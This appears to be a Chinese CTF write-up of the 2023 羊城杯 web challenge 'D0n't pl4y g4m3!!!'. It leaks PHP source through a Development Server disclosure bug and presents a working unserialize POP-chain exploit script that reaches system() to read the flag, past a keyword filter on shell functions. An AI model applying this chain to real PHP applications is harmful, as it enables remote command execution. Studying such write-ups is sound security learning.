[羊城杯 2023] web

文章目录

    • [D0n't pl4y g4m3!!!](#D0n't pl4y g4m3!!!)

D0n't pl4y g4m3!!!

打开题目,可以判断这里为php Development Server 启动的服务

查询得知,存在 PHP<=7.4.21 Development Server源码泄露漏洞(参考文章)

抓包,构造payload
得到源码

复制代码
class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

还有提示./hint.zip,下载完解压,猜测是某种编码

复制到谷歌,发现GitHub上面有解码工具
然后再回过头看

pop链子:Bei.__destruct()->Yang.__call()

exp

复制代码
<?php
class Pro  //five
{
    private $exp;
    private $rce2;
}

class Yang  //one
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
}
class Cheng  //two
{
    private $finish;
    public $name;
    
}
class Bei  //four
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

$a=new Bei();
$a->rce="cat /tmp/catcatf1ag.txt";
$a->rce1="";
$b=new Yang();
$b->finish->finish=true;
$a->CTF=$b;
$c=new Yang();
$c->key=true;
$c->finish->finish=true;
$c->now['YCB1']='system';
$a->fine=$c;
echo urlencode(serialize($a));
?>

得到flag

相关推荐
旋生万物32 分钟前
【终极实战】用Python从零“生成“一个宇宙:螺旋干涉模型的代码实现
开发语言·前端·人工智能·react.js·php·wpf
艾醒(AiXing-w)3 小时前
LangChain 1.0 入门(三):稳定性双核心——重试机制+速率限速器参数详解与实战
开发语言·langchain·php
宸津-代码粉碎机4 小时前
FastUtil+AI多Agent实战:Java AI项目性能终极加速方案
java·服务器·开发语言·python·安全·php
三垣网安6 小时前
记一次渗透测试 | 教育src漏洞分享(2)
网络·安全·web安全·网络安全
练习时长两年半的RL练习生7 小时前
与AI对话后对 Actor-Critic 中 TD Target 的 a‘ 来源总结
开发语言·人工智能·php
Sagittarius_A*8 小时前
【好靶场】PHP反序列化绕过
web安全·信息安全·php·代码审计·反序列化绕过
孫治AllenSun8 小时前
【系统安全】信息脱敏存储:场景、需求与实现方案详解
安全·系统安全·php
aixingpan10 小时前
aixingpan.cn API开发文档:api_docs_errors接口指南
前端·php
网安蟹佬霸11 小时前
SSRF服务端请求伪造攻防实战:从内网穿透到云元数据利用
sql·web安全·网络安全·自动化·网安
FYKJ_201011 小时前
django学习成绩预警系统10905
java·javascript·spring boot·python·spark·django·php